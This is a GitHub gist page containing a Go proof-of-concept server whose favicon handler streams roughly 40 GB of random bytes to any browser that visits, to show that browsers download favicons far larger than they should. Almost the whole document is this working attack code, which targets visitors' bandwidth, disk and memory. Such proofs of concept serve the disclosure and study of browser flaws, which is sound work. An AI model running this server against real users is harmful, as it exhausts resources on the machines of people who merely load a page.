Last active
August 29, 2015 14:23
-
-
Save ejcx/1f686b55cbcf1417ab19 to your computer and use it in GitHub Desktop.
PoC to make browsers download favicons that are way bigger than should be allowed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"crypto/rand" | |
"fmt" | |
"log" | |
"net/http" | |
"os" | |
) | |
func main() { | |
fmt.Println("Started:") | |
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { | |
w.Write([]byte("Hey")) | |
}) | |
http.HandleFunc("/favicon.ico", func(w http.ResponseWriter, r *http.Request) { | |
b := make([]byte, 4096) | |
for i := 0; i < 10000000; i++ { | |
_, err := rand.Read(b) | |
if err == nil { | |
fmt.Printf("Writing to %s\n", r.RemoteAddr) | |
w.Write(b) | |
} | |
} | |
}) | |
err := http.ListenAndServe(":8080", nil) | |
if err != nil { | |
fmt.Println("Server did not start") | |
log.Println(err) | |
os.Exit(1) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment